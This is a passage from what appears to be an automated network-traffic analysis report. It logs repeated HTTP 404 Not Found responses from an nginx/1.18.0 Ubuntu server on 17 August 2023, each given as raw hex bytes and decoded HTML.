(Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:21 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:23 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:25 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:31 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:33 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:35 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:37 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:42 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:33:45 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to 